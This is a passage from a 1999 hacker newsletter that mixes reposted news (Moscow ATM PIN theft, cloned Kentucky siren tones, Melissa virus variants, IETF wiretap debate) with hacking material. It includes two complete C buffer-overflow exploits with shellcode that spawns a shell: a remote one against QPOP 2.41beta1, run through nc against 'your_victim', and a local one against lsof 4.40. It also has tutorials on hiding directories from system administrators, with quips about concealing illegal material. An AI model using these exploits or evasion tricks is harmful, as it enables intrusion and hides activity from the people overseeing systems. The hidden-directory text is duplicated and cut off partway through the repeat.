             MSNBC technology writer Bob Sullivan contributed to
         this report.
         
      @HWA    
                               
                               
07.0  Russian ATMs Compromised 
      ~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by evilwench 
      Bank ATMs in Moscow seem to have been compromised
      by intruders who are stealing pin numbers, and therefore
      money, from peoples' accounts. It is unclear how this
      theft is occurring or how many people have been
      affected but it is believed that the criminals are
      intercepting communication between the ATM and the
      bank. 

      Russia Today                       
      http://www.russiatoday.com/frames/frames.php3?url=http%3A%2F%2Fwww.sptimes.ru%2Fcurrent%2Fpin.htm
      
      (Requires paid registration :( )
      
      58% >>>>> #511, OCTOBER 22, 1999
      Top Story (PIN Code Hackers Rip Off Moscow) - PIN Code Hackers Rip Off
      Moscow By Brian Humphreys| MOSCOW - Hundreds of expatriates have received letters
      from their banks abroad warning them that their bank cards have been compromised by
      someone able to steal PIN codes through Moscow's ATM machines - and according to card
      payment system officials, the theft of PIN codes now underway in Russia *****
      http://www.sptimes.ru/archive/times/511/pin.htm
      
      @HWA
      
08.0  Kentucky Emergency Sirens Activated - Hacker Blamed 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by evilwench 
      Somehow something that has absolutely nothing at all
      to do with hacking has been blamed on hackers.
      Emergency warning sirens in Boone County, Kentucky
      have been activated by a random prankster. This was
      done by duplicating the radio signals needed to activate
      the system. (They don't have an off switch?) This
      nefarious activity was blamed on the evil "hacker". 

      APB Online                 
      http://www.apbnews.com/newscenter/breakingnews/1999/10/22/sirens1022_01.html


      Hacker Attacks Ky. County's Weather
      Sirens
      Activation Tones Cloned to Trigger Alarm 

      Oct. 22, 1999 

      By David Noack 

      BURLINGTON, Ky. (APBnews.com) -- The Boone County early warning
      weather system that alerts residents to a threatening storm or a tornado
      has been sabotaged by someone who has cloned the tones needed to
      trigger the alarm. 

      Over the last few weeks, 29 sirens scattered across this rural Kentucky
      county have gone off, prompting a flood of phone calls to the police, they
      said. 

      "Our outdoor emergency sirens have been activated at odd hours, such as
      1 a.m. and at 7 a.m. on a recent Saturday. These did not come from our
      central dispatch. It had to come from a remote location, either a fixed site
      or a mobile [site], and we believe at this point that it came from a mobile
      site," said Bill Appleby, the county's emergency management director. 

      'Someone has a hand-held radio' 

      Officials believe that someone is driving around the county with the
      electronic equipment and activating the warning system. Officials don't
      know whether this is the work of a former employee or just someone using
      electronic gear to pluck the tones out of the air. 

      "They would probably not be able to do it through a personal computer. It's
      a radio wave transmission, so they would have to have access to our radio
      frequencies. What we think at this point is that someone has taped or
      copied our tones in some manner, and we think it's a mobile unit where
      someone has a hand-held radio and travels around," said Appleby, who
      added that sirens in neighboring Kenton County also have been set off. 

      He said that when dispatchers would try to turn off the sirens, another
      series of tones would then reactivate them. The sirens have blared for more
      than 20 minutes, but are only suppose to go off in three- to five-minute
      bursts. Appleby fears the sirens may get damaged since they are not
      designed to run longer than a few minutes at a time. 

      The sirens sit atop poles and include an antenna so they can receive the
      activation tones from dispatchers. 

      Seeking an electronic footprint 

      The Boone County police are investigating the incidents, and the Federal
      Communications Commission has been notified. 

      Appleby said that since the sirens are meant to alert residents to some
      kind of danger, their random activation is causing anxiety in some people. 

      He said starting this weekend they would be trying to track the culprit
      making the calls. 

      "We are hoping to get an electronic footprint from someone who may be
      activating a radio, either a base or mobile, see which one of our towers
      activates first, and then we would know at least the general vicinity," said
      Appleby. 

      Tape-recording tones will not work 

      He said the sirens are tested on a monthly basis and the public is notified.
      It's then that the tones, using the right equipment, can be captured. 

      Steve Makky Sr., an emergency coordinator and communications and
      warning officer for a Missouri emergency agency, said it's possible to buy
      or modify a radio that can be programmed to mimic the correct tones. 

      But he said that activating an outdoor warning device, or OWD, is not that
      easy and requires some sophistication. 

      "Many of the OWDs have microprocessor filters that require
      precise-activating tone frequencies [similar to touch tones] and timing
      duration. The difference of one millisecond will not activate the OWD.
      Simply tape-recording and replaying these will usually not work," Makky
      said. 

      Expanding outdoor warning system 

      Makky continued: "The act usually involves transmitting on unauthorized
      radio frequencies and most do this on a somewhat frequent basis. Some
      agencies have communications specialists or agreements with ham radio
      operators to track down 'jammers.' Such an effort usually requires a
      specialized radio direction finding apparatus and prior experience using it." 

      Boone County's emergency management department is responsible for the
      planning and coordination of unified emergency response to any disaster or
      emergency situation in the county, dealing with severe weather, flooding,
      fire, explosions, power failures, riots, hazardous material incidents and any
      other natural or man-made emergencies. 

      A major project of the office is the expansion of the outdoor warning
      system. Funding has been approved to purchase 12 additional outdoor
      warning sirens to be added to the existing warning sirens. 

      These sirens are being installed to expand the warning coverage area,
      especially near areas where outdoor activities take place. Activation of the
      sirens occurs when an actual sighting of a tornado or funnel cloud is
      confirmed, or when the National Weather Service issues a warning for the
      county. The sirens may also be activated at the discretion of the
      emergency management office under certain conditions or for other public
      emergencies. 

      David Noack is an APBnews.com staff writer (david.noack@apbnews.com).
      
      @HWA
      
09.0  Over 24 Variants of Melissa Found With More to Come 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by turtlex 
      There are over 24 variations of the Melissa virus now in
      existence. Melissa.U[Gen1] is the latest variant which
      has infected over 40,000 hosts. Experts fear that many
      more variations are on the horizon. 

      ZD Net        
      http://www.zdnet.com/zdnn/stories/news/0,4586,1017806,00.html?chkpt=zdnntop
      
      --------------------------------------------------------------
      This story was printed from ZDNN,
      located at http://www.zdnet.com/zdnn.
      --------------------------------------------------------------
      
      Melissa finds more fertile ground
      By Jim Kerstetter, PC Week
      October 22, 1999 1:09 PM PT
      URL: http://www.zdnet.com/zdnn/stories/news/0,4586,1017806,00.html
      
      IT managers wondering why variants of the Melissa virus are proliferating need only look to the
      field of agriculture for the answer.
      
      Farmers know that too much of the same crop is a recipe for disaster. A blight -- a virus -- can
      wipe out an entire field in no time. Experts call it a monoculture.
      
      And that's what the computing environment has become: a monoculture of Windows desktops,
      connected by Visual Basic programming and Microsoft Office suite macro commands that are
      easily exploited by willful programmers.
      
      Melissa, which spawned in March, now circulates in about 24 versions. Two more Melissa
      variants popped up this month; the latest, Melissa.U (Gen1), eluded the most sophisticated
      anti-virus software. Experts warn many more will come.
      
      Low barriers to entry
      "Macro viruses such as Melissa are extremely easy to write," said Carey Nachenberg, chief
      researcher at Symantec Corp.'s Antivirus Research Center, in Santa Monica, Calif. "Anybody
      with a manual and a free afternoon could probably write one."
      
      Melissa.U (Gen1) infected at least 40,000 nodes at five companies. The original Melissa grabbed
      the top 50 addresses off a user's Outlook address book after an infected attachment was opened
      and started a chain reaction that overloaded servers across the country. A variant, Melissa.U,
      grabbed only four addresses. But its impact was more severe, wiping out important system
      commands such as I/O.sys. Melissa.U (Gen1) is a further variation on that virus.
      
      "This was the first of the Melissas to get past our virus software," said Alan Hamilton, IS manager
      at a West Coast software company. "I guess our saving grace was, for once, people didn't open
      it."
      
      Just how Melissa.U (Gen1) was created is still a mystery. Most good anti-virus software can
      catch variants of Melissa using two common detection methods.
      
      The first is based on the virus' signature, a piece of code that is unique to that virus. Signature
      recognition is easy for virus authors to avoid, however. Change a piece of the signature, without
      actually changing the virus functions, and the signature recognition defense becomes moot. That's
      why anti-virus software vendors constantly send out software updates.
      
      The second method, called heuristics, isn't so easy to avoid. Heuristic software, which is in use by
      most major anti-virus software vendors, looks for how a virus behaves -- for example, what
      dynamic link libraries it writes to -- rather than its specific qualities. Heuristic software, for the
      most part, has caught Melissa variants.
      
      A novel twist
      But Melissa.U (Gen1) didn't behave like the previous forms of Melissa. It used Messaging API
      commands for opening Outlook address books differently than a typical Melissa variant. Experts
      are speculating why this happened. It could be because the virus writers who set it loose were a
      bit more creative than were the original writers, or anti-virus software never fully eradicated the
      initial Melissa.U strain, according to experts.
      
      And there's no reason that won't happen again. Macro commands, by their nature, are easy to
      work with. Melissa, which feeds off the macros in Microsoft software, is easy to tinker with.
      
      Probably the most disturbing thing about Melissa is its worm exploit -- that is, it has the ability to
      proliferate more quickly. In addition, it can be easily mutated even by amateur virus writers.
      
      Melissa hit the industry's most popular, yet vulnerable software -- Windows, which was designed
      with connectivity, not security, in mind -- and it's only a matter of time before someone far more
      skilled and sinister takes advantage of it again.
      
      "What protects us right now," Symantec's Nachenberg said, "are people's ethics."
      
      @HWA
      
10.0  Online Threats Labeled Cyberterrorism 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Code Kid 
      A man in Missouri has had his computer confiscated and
      will have charges of making threats brought against him.
      This after he made threats against students and
      teachers at the Townsend's Hawthorne Brook Middle
      School in Massachusetts. Somehow this was described
      as a 'Cyberterrorist' act. (Threats on a playground are
      just threats, threats on the internet are suddenly
      cyberterroism.) 

      Associated Press - Via AltaVista   
      http://zip2.newsreal.com/cgi-bin/NewsService?osform_template=pages/altavistaStory&refresh=10800&ID=altavista&path=News/Story_1999_10_23.NRdb@2@23@3@63&headerID=1
      
      Online Prowler Targets Mass. Teens 
      Source: Associated Press

      BOSTON (AP) -- Officials say a 19-year-old quadriplegic from Missouri used an
      Internet chat room to make "Columbine-like" threats to hurt students and teachers
      at a Massachusetts middle school. 

      Massachusetts Attorney General Tom Reilly said Saturday that the paralyzed teen
      -- whose name and hometown were not released -- made the threats using an
      America Online chat room frequented by dozens of eighth-graders from
      Townsend's Hawthorne Brook Middle School. 

      Authorities confiscated the Missouri teen-ager's computer on Friday and plan to
      charge him with making threats and possibly other charges on Monday, Reilly
      said. 

      He said the teen-ager had been chatting online with the Townsend students since
      September, but midweek, the cyber-relationship turned terrifying. Reilly said the
      man told several students he was in their community and he threatened to hurt
      them, their teachers and their school. 

      The threats -- which included a list of teachers and students to be targeted -- was
      an act of "cyberterrorism" that left the school shaken. It may have been a hoax,
      but "the fear that was expressed by students, parents and teachers in this
      community was very real," Reilly said. 

      Reilly said the students had thought the Missouri teen-ager was a peer and
      included him in their conversations, revealing information about their town, their
      school and themselves. 

      When the man allegedly directed some students to child pornography Web sites a
      few days ago, some of the children told their parents, who then called police. 

      Townsend Superintendent of Schools James McCormick said someone from the
      community also received a suspicious phone call that made references to the April
      20 shootings at Columbine High School in Littleton, Colo., where two students
      shot and killed 12 students, a teacher and themselves. 

      Bomb-sniffing dogs searched the middle school on Thursday, and students' bags
      and backpacks were checked, but nothing suspicious was found and school was
      declared safe, McCormick said. 

      On Friday, authorities converged on the suspect's home, where he lives with his
      parents, and confiscated his computer equipment. 

      Reilly said the teen-ager -- paralyzed from the neck down by a high school car
      crash -- admitted communicating with the Massachusetts students. 

      Publication date: Oct 23
      © 1999, NewsReal, Inc. 

   
11.0  QPOP 2.41beta1 exploit (linux x86) by mastoras
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      /* 
       *  QPOP 2.41beta1 exploit (linux x86) by mastoras
       *  Some code ripped from "mount" exploit by Bloodmask and Vio
       *  Assembly code changed so it is not affected by tolower() function.
       *
       *  this one sucks (too), but works :>
       *  (./qpop 997 4000; cat) | nc your_victim 110
       *
       *  28 Jun 1998 
       *  mastoras@hack.gr         http://www.hack.gr/users/mastoras
       *  Mastoras Wins! Fatality!
       */
      
      #include <unistd.h>
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      
      #define DEFAULT_OFFSET 4000
      
      u_long get_esp()
      {
              __asm__("movl %esp, %eax");
      }
      
      int main(int argc, char **argv)
      {
              u_char execshell[] =
              "\xeb\x26\x5e\x8d\x1e\x89\x5e\x1b\x31\xed\x89\x6e\x17\x89\x6e\x1f"
              "\xb8\x1b\x76\x34\x12\x35\x10\x76\x34\x12\x8d\x6e\x1b\x89\xe9\x89"
              "\xea\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd5\xff\xff\xff"
              "/////////////////bin/sh";
      
              unsigned long *addr_ptr = NULL;
              unsigned int ret_address;
              char *buff = NULL;
              char *ptr = NULL;
              int BUFFER_SIZE = 997;
              int ofs = DEFAULT_OFFSET;
              int nops = (300/4);
              int i;
      
              if (argc>1) BUFFER_SIZE = atoi(argv[1]);
              if (argc>2) ofs = atoi(argv[2]);
      
              buff = malloc(4096);
              if(!buff) {
                      printf("can't allocate memory\n");
                      exit(0);
              }
              ptr = buff; 
      
              /* fill start of buffer with nops */
      
              memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
              ptr += BUFFER_SIZE-strlen(execshell);
      
              /* stick asm code into the buffer */
              
              for(i=0;i < strlen(execshell);i++)
              *(ptr++) = execshell[i];
      
              addr_ptr = (long *)ptr;
      
              ret_address = get_esp() - ofs;
      
              for(i=0;i < (nops);i++)
                      *(addr_ptr++) = ret_address;
      
              ptr = (char *)addr_ptr;
              *ptr = 0;
      
              fprintf(stderr, "length %d+%d+%d=%d, address=%x\n", BUFFER_SIZE,strlen(execshell),nops,
                      BUFFER_SIZE+strlen(execshell)+nops, ret_address);
      
              printf("%s\n",buff);
              return 0;
      }
      
      
      
      @HWA                               
      
12.0  ls0f.c Vulnerable: linux machines running lsof 4.40
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      /*
       * ls0f.c (c) 1999 Subterrain Security
       * Written by bind - 1999
       *
       * Vulnerable: linux machines running lsof 4.40
       *
       * Cheers to xdr & cripto...
       *
       *     *Affected*
       * [ SuSE 6.0 + 5.3 ]
       * [   Debian 2.0   ]
       * [   Redhat 5.2   ]
       *
       */
      
      #include <stdio.h>
      #include <strings.h>
      
      #define LSOF "/usr/sbin/lsof"
      
      char shellcode[] =
        "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
        "\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
        "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
      
      unsigned long get_sp(void)
      { __asm__("movl %esp, %eax"); }
      
      int main(int argc, char **argv)
      {
        char code[2000];
        char ret[28];
        int offset, i;
        int len = strlen(shellcode);
      
        if(argc > 1) offset = atoi(argv[1]);
      
        for(i = 0;i <= 28;i += 4)
          *(long *)&ret[i] = (unsigned long) get_sp() - offset;
      
        memset(code, 0x90, 2000);
        memcpy(code+(2000 - len), shellcode, len);
      
        setenv("CODE", code, 1);
        execl(LSOF,"lsof","-u",ret,NULL);
      }
      
      
      @HWA      
      
13.0  Free phone calls over the internet in the US
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      Contributed by sAs-
      
      There is a new company offering free dialing using internet phone technology to
      make calls over the internet within the US. The catch: you have to be a US citizen
      (or at least provide US address details) and you have to fill out a standard 
      marketting questionaire and include your email address. I filled out the form with
      false info and was allowed into the dialpad system. You will be asked to allow the
      site to install a new java applet on your computer, allow it to do so and the the
      dialpad applet will be installed automatically in Netscape (or MSIE) 4.5 / 5.0 or
      higher. From there on you have the dialpad and using a headset/with mic can dialout
      to any destination in the U.S. Have fun!
      
           
      http://www.dialpad.com/
      
      
      @HWA
      
14.0  Are You a Cyberspace Addict? 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                  
      From HNN http://www.hackernews.com/

      contributed by evilwench 
      Internet-Computer Addiction Services is a Redmond WA
      counseling center that specializes in treating people
      who are addicted to being online. The founders Jay
      Parker, Hilarie Cash and others feel that online addiction
      is just as powerful as gambling, alcohol or drugs. 

      Seattle Times      
      http://www.seattletimes.com/news/local/html98/adix_19991024.html
      
      Posted at 01:22 a.m. PDT; Sunday, October 24, 1999 

      Center offers treatment for growing
      number of cyberspace addicts 



      by Ian Ith 
      Seattle Times Eastside bureau 

      A 45-year-old corporate
      chief executive in Seattle
      finds himself locking
      himself in his office,
      holding all his calls and
      surfing the Internet for
      pornography for hours on
      end. 

      A University of
      Washington student flunks
      out because he stays up all
      night - every night -
      playing online fantasy role-playing adventure games. 

      A homemaker turns on the computer when the kids go to school.
      When they come home, she's still there, talking about sex with
      total strangers in an online chat room. 

      "This is really happening, and it's pretty powerful stuff," said Jay
      Parker, an Eastside addiction counselor. "This does impact
      people's lives. They need to start figuring out ways to live with
      their computers and make it a healthy part of their lives." 

      So Parker has teamed up with a colleague, psychologist Hilarie
      Cash, in opening Internet-Computer Addiction Services, a
      Redmond counseling center that specializes in treating people who
      just can't kick the online habit. 

      And while some scholars say they doubt that computer obsession
      rises to the level of a true addiction on par with alcohol or drugs,
      Cash, Parker and a contingent of highly respected colleagues say
      it's just as harmful as gambling addiction, and just as costly. 

      Some estimate that at least 10 percent of heavy Internet surfers
      are psychologically dependent on cyberspace and need
      professional help. 

      "It's a growing thing," said Maressa Hecht Orzack, a Boston
      clinical psychologist and professor at the Harvard Medical School
      who is considered the leading expert on computer addiction. "It's
      a very isolating experience for many people. People who get into
      this situation will have tried to stop. But they tend to do it
      compulsively and they can't stop it." 

      Parker and Cash collaborated after they met at a conference and
      debated the various methods of treating computer addiction. Both
      had seen a surge in the number of clients in their regular practices
      who were finding the Internet affecting their lives. 

      But the idea of computer addiction is so new that there aren't any
      solid medical studies to support one method or another. In fact,
      the jury is still out on whether someone can actually be addicted
      to a computer or whether computer use is just a symptom of
      some other trouble. 

      "There's no question that there's some people who are spiraling
      out of control," said Malcolm Parks, an assistant vice provost for
      research at the University of Washington. "The question, to me as
      a researcher, is what would they be doing if they didn't have the
      Internet. Would they spiral out of control in some other way? 

      "It's a reach to say the technology is the cause of the addiction,"
      he said. "Why not help them deal with the underlying issues?" 

      But Cash and Parker say they have seen too many Internet
      tragedies to dismiss it. 

      "The social consequences are enormous," said Cash, who has a
      doctorate in psychology and has treated patients for two decades.
      "When you neglect your spouse and develop serious marital
      problems, when your job is neglected, when your kids are
      neglected, these are serious consequences." 

      The counselors acknowledge that there's no consensus on how to
      treat the problem. So they plan to conduct a scientific study of
      various methods. 

      Parker thinks 12-step programs, similar to Alcoholics
      Anonymous, is the most effective. Cash will focus on a more
      traditional counseling approach. Which technique clients will use
      will depend on their individual circumstances. 

      While temporarily abstaining from computer use is likely to be
      necessary to break the habit, both counselors acknowledge that
      computers are too ingrained in our world for users to become
      cyber-teetotalers. 

      "The goal is to have them use the computer the same way a food
      addict still needs to eat," Parker said. "Our first goal is to get them
      off the Internet, then our second goal is to address the underlying
      issues." 

      And, the counselors hope, they can learn to be like the millions of
      Web surfers who don't let it rule their lives. 

      "They find a way to balance it in their lives," Cash said. "That's the
      difference between someone who becomes an addict and those
      who don't. 

      "But there really are people who don't have any apparent
      pre-existing problems, and they get hooked. It's something we
      don't fully understand. But it happens. It's a technology that is just
      powerful." 
      
      @HWA

15.0  Congressman Lobbies IETF For Privacy 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Brian Oblivion 
      Representative Bob Barr (R-Georgia) has sent a letter to
      the chairman of the Internet Engineering Task Force
      supporting freedom and privacy. He urged the IETF not
      to assist law enforcement by providing a surveillance
      architecture in the new Internet technology. The FBI
      has requested that such technology be built into the
      new technology to aid in legal wiretaps. 

      Wired       
      http://www.wired.com/news/politics/0,1283,32100,00.html

      'Don't Help the Snoops' by Declan McCullagh

      10:45 a.m. 25.Oct.99.PDT The Internet's standards body should not craft 
      technology to aid government surveillance, a prominent conservative 
      congressman says. 

      Representative Bob Barr (R-Georgia) said that there is no reason for the 
      Internet Engineering Task Force to support wiretapping in the next 
      generation of protocols and that doing so would be "dangerous." 

      "For the sake of protecting freedom, commerce, and privacy on the 
      Internet, I urge you to draw the line firmly and early, by immediately 
      rejecting any attempts to force a cumbersome, expensive, and dangerous 
      surveillance architecture on the Internet," Barr wrote in a letter to IETF 
      chairman Fred Baker. 

      Next month, the IETF will decide whether to support government 
      surveillance in the protocols that computers connected to the Internet use 
      to communicate. The FBI has said those standards should support lawful 
      wiretaps. 

      Barr predicted that if the IETF complies with the FBI's wishes, privacy 
      would be endangered online through back doors in products, law enforcement 
      would be emboldened and demand even more access, and the costs to 
      consumers would rise. 

      Since his election in 1994, Barr has become a prominent privacy advocate 
      in Congress, frequently siding with the ACLU and denouncing expansions of 
      government power such as FBI demands for "roving" wiretaps. Best known for 
      demanding Clinton's impeachment even before the Lewinsky scandal, Barr has 
      also fought against same-sex marriages and drug legalization. 

      While Barr's letter is intended to signal that Congress is interested in 
      what has been an internal IETF debate -- and may be the first time that a 
      legislator has ever weighed in on one -- it could have limited impact. 

      The IETF is an international standards-setting body that has long prided 
      itself on being above parochial, national concerns. 

      Then again, say law enforcement agents, nations have required their 
      telephone companies to support wiretapping, and may require Internet 
      companies to buy snoopable products as more communication takes place 
      online. 

      "I'm not aware of any country that does not allow for the use of 
      electronic surveillance," an FBI spokesman told Wired News. "This is an 
      issue that has no country bounds." 

      In discussions on an internal IETF mailing list, some proponents of 
      readily-available wiretapping have said that a 1994 law called the 
      Communications Assistance to Law Enforcement Act, or CALEA, may require 
      Net-telephony companies to support surveillance. 

      "In my opinion, Internet telephony in its current form falls far short of 
      the statutory definitions in CALEA," Barr said. "Furthermore, based on 
      Congress' intent to do nothing more than maintain the status quo by 
      enacting CALEA, it is questionable whether Internet telephony could ever 
      be appropriately included under the Act's mandates." 

      Barr indicated he would consider introducing legislation to block the 
      Clinton administration from making any such demands.
      
      @HWA
      
      
16.0  The King Of Hidden Directories by Zym0t1c
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      Note: This works in *NIX as well, it has been used by warez groups for years
      to hide warez sites on public servers, but this info is still useful for the
      average joe that wants to hide stuff from over zealous sysadmins - Ed

      
      Contributed by Zym0t1c
      
      The KING of Hidden Directories
      
      Oct, 18th 1999 - ... Screwing around at school...
      If our sysops (relying on NT4) detect any hidden directory, not owned 
      by them, they simply delete it.  "They don't like anyone having secrets,"
      was their reason...  Sympathetic he? So, I was playing with the little 
      hidden directories trick I've read about some time ago (downloaded from
      The HackerZ Hideout, http://www.hackersclub.com/km,
      
      called 'REAL Hidden Directories' - DOS Trick by kM & mR.dISCO)
      
      The following lines are taken from that file.
      /********************************   CUT HERE ********************************/
      
      '... In DOS there are 256 characters (i.e. letters, numbers and symbols
      numbered 0-255).  Look in the back of any DOS manual to find these.  When you
      hold down the ALT key and type the ASCII code from the number pad it will print
      it to the screen.  For example ALT (155) is ¢ and ALT (129) is ü.  However, ALT
      (255) is the NULL character (it is true nothingness). If you create a directory
      using ALT (255), it will appear to have no name, but... =)...'
      
      /********************************   CUT HERE  ********************************/
      
      
     
      So, right now everyone can create a *REAL* hidden directory... :)
      I suggest every newbie (what the hell!  I suggest everybody! :)) reading
      that article since it's so simple and useful... Just grab it at 
      'http://hackersclub.com/km/newbies/dostrick.txt'. (Appended to this article - Ed)
      
      Conclusion of today's classes: I've found one directory which is totally
      hidden! You know that when you create a subdirectory, assuming you use a DOS 
      shell, two directories are created, named '.' and '..'. You can check this by
      looking at the date and time of creation.  The . directory is the current one
      and the .. directory is used for going one up.  So, what if one created a 
      directory called '..ALT (255)', i.e. '.. '?  When you check it, you receive a
      second .. directory.  When the sysops see this, they will get suspicious thinking
      they've never seen this in their entire lives!  A directory with two .. directories!
      :))  Am I going crazy?  Then, going to explorer, I saw that the directory was not 
      listed, although it wasn't hidden.  In DOS, it was listed like any regular .. 
      direcory.  So, using the attrib +h ..ALT (255), it dissapeared in DOS. 
      Using the Show all files (hidden also) option in explorer, it still wasn't
      listed.  Found it!  The KING of hidden directories in DOS, Win95 OSR1,
      NT3.51 and NT4!!! (and UNIX - Ed)
      
      The negative part is that you can find the directory using the find command,
      hidden or not.  But, you must admit that a sysop must really know what he is
      looking for, going through all that trouble just for finding that one
      directory... Also, when you deltree the directory above (where this hidden
      directory was created in), it also is removed. 
      
      So, when you use this trick, use it in a directory where the sysops won't
      think to find anything.  Let's say... \%systemdrive%\system32\ or something
      similar (if you've got write access).
      
      Remarks:
      
       o I've tried many directories (the class was really boring) using one point
         with ALT (255), two points and many many other combinations, but this one
         was the only *REAL* hidden directory...
         
       o Create it under the root directory and hide it for a little fun...  If
         the sysops don't know much of the ASCII table and the combinations used by
         DOS commands (use of asterisks, ...), they won't be able to delete it easy.
         BTW: NT 4 doesn't recognize the deltree command.
         Everyone knows this, but just in case you don't: why don't you create a
         whole tree of such directories under the root? :)
         
       o Hide it always (attrib +h ..ALT (255)), so the directorie becomes never
         listed and keep your files away from those ?*%!!!%ckers. :))
         
       o I tested it also under Win98 and the directory was listed as a ~1
         directory, both visible under explorer and DOS...  Win95 OSR2 and 98 SE 
         will also list it (I think). So, this trick is dead using these versions
         and probably the next generation of Microsoft OS'ses.
         
       o Still, you must admit, this one is nice, isn't it? :))
      
         Zym0t1c,
      
      
      
      @HWA
      
17.0  The Hidden Directories text referred to in 16.0
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      REAL Hidden Directories
      DOS Trick by kM & mR.dISCO
      03/25/97 (screwing around at work)
      - This is old but newbies need to know about it -
      Another Original from the HackerZ Hideout 
      www.hackersclub.com/km
      ======================
      OK here is a trick that you can do with your DOS/Windows3.x and Windows 95 machine that works.
      If you use Windows NT 3.51/NT4.0 or Win95 OSR2 w/FAT 32 this little trick doesn't work.  It 
      only works on people who don't know DOS and the ASCII table. Use at your own risk!  
      If you're trying to hide kiddie porn from the feds and get busted its not our fault!
      
      Maybe we will do another revision of this that will be more malicious to the end user with this
      hack.  I'm sure if you play with it long enough and read your DOS manual maybe you can guess
      what we are thinking.  
      
      Send us your own ideas about this trick...we will publish them here if they are good.
      ======================
      
      What it Does:
        This trick can be used to hide data on a computer in a directory.  Unless you know how to 
        change to the directory manually you won't be able to access it.  (meaning Windows File 
        Manager and Windows Explorer although it sees it, it can't access it).  
      
      Why it Works:
        In DOS there are 256 characters (i.e. letters, numbers and symbols numbered 0-255).  Look 
        in the back of any DOS manual to find these.  When you hold down the ALT key and type the 
        ASCII code from the number pad it will print it to the screen.  For example ALT (155) is ¢ 
        and ALT (129) is ü. However, ALT (255) is the NULL character (it is true nothingness).  
        If you create a directory using ALT (255), it will appear to have no name, but...=) 
      
        NOTE: You will not have the access to the full character set unless ANSI is loaded. 
              Look in your DOS book, or in WIN 95 help to do this.
      
      How to Do It:
        Goto DOS and do these commands
          C:
          cd\
          md {hold ALT (on your numberpad only)} 255 <- this is an ASCII NULL Character
          cd ALT 255
        and put something in there
      
      -=>  If you want to be cruel and evil do something stupid like "ALT-255xxxpics" on a computer
           at a local CompUsa.  See if the idiots could delete the directory or see if there are
           actual XXX Pics in there.
          
      
      Limitations:
      
        This can only be created in DOS or a DOS window.  If you create this in explorer or file
        manager it will let you access the directory.
      
      What the Average User Sees:
        To test it...go into windows File Manager or Explorer...you will see a C:\_ directory...when 
        you double click it will say : 
           " c:\_ not accessible. 
            This Folder was moved or removed"
        Heheh...If you really want to be bad ATTRIB the directory +H so no one in DOS can see it.
      
      
      Updated on 6/30/97...
      An Email I received by Gizmo
      
      Subject: Limitations using 255
      Date:  Mon, 30 Jun 1997 01:01:18 -0500
      
      I was just messing around and found the neat dos trick.  
      Not that it really matters but another limitation of the trick is that 
      if the "special directory" is a subdirectory then you can just use "deltree" on the parent 
      directory. 
      
      Here's an even simpler method... 
      Say you make a directory called "trick" inserting the null character in front. 
      Just type "deltree *trick".  And it's gone! 
      
      ===============================================================================================
      
      Why should I use this?
       -  Good for kids who want to hide porn from mommy and daddy!  
       -  If your a tech support person you know how lame users can be. This is handy for making 
          backups of configurations and covering your ass.
       -  Its probably also good to pull batch file pranks and such on unsuspecting lamers that use
          the 16 bit file manager in Windows 95.  (that one was for you Wyle)
      
      Its a small hack...but its for newbies who need to learn even the littlest of things count.
      
      If you have a small hack you think newbies should know please send it to
      km@hackersclub.com
      
      REAL Hidden Directories
      DOS Trick by kM & mR.dISCO
      03/25/97 (screwing around at work)
      - This is old but newbies need to know about it -
      Another Original from the HackerZ Hideout 
      www.hackersclub.com/km
      ======================
      OK here is a trick that you can do with your DOS/Windows3.x and Windows 95 machine that works.
      If you use Windows NT 3.51/NT4.0 or Win95 OSR2 w/FAT 32 this little trick doesn't work.  It 
      only works on people who don't know DOS and the ASCII table. Use at your own risk!  
      If you're trying to hide kiddie porn from the feds and get busted its not our fault!
      
      Maybe we will do another revision of this that will be more malicious to the end user with this
      hack.  I'm sure if you play with it long enough and read your DOS manual maybe you can guess
      what we are thinking.  
      
      Send us your own ideas about this trick...we will publish them here if they are good.
      ======================
      
      What it Does:
        This trick can be used to hide data on a computer in a directory.  Unless you know how to 
        change to the directory manually you won't be able to access it.  (meaning Windows File 
        Manager and Windows Explorer although it sees it, it can't access it).  
      
      Why it Works:
        In DOS there are 256 characters (i.e. letters, numbers and symbols numbered 0-255).  Look 
        in the back of any DOS manual to find these.  When you hold down the ALT key and type the 
        ASCII code from the number pad it will print it to the screen.  For example ALT (155) is ¢ 
        and ALT (129) is ü. However, ALT (255) is the NULL character (it is true nothingness).  
        If you create a directory using ALT (255), it will appear to have no name, but...=) 
      
        NOTE: You will not have the access to the full character set unless ANSI is loaded. 
              Look in your DOS book, or in WIN 95 help to do this.
      
      How to Do It:
        Goto DOS and do these commands
          C:
          cd\
          md {hold ALT (on your numberpad only)} 255 <- this is an ASCII NULL Character
          cd ALT 255
        and put something in there
      
      -=>  If you want to be cruel and evil do something stupid like "ALT-255xxxpics" on a computer
           at a local CompUsa.  See if the idiots could delete the directory or see if there are
           actual XXX Pics in there.
          
      
      Limitations:
      
        This can only be created in DOS or a DOS window.  If you create this in explorer or file
        manager it will let you access the directory.
      
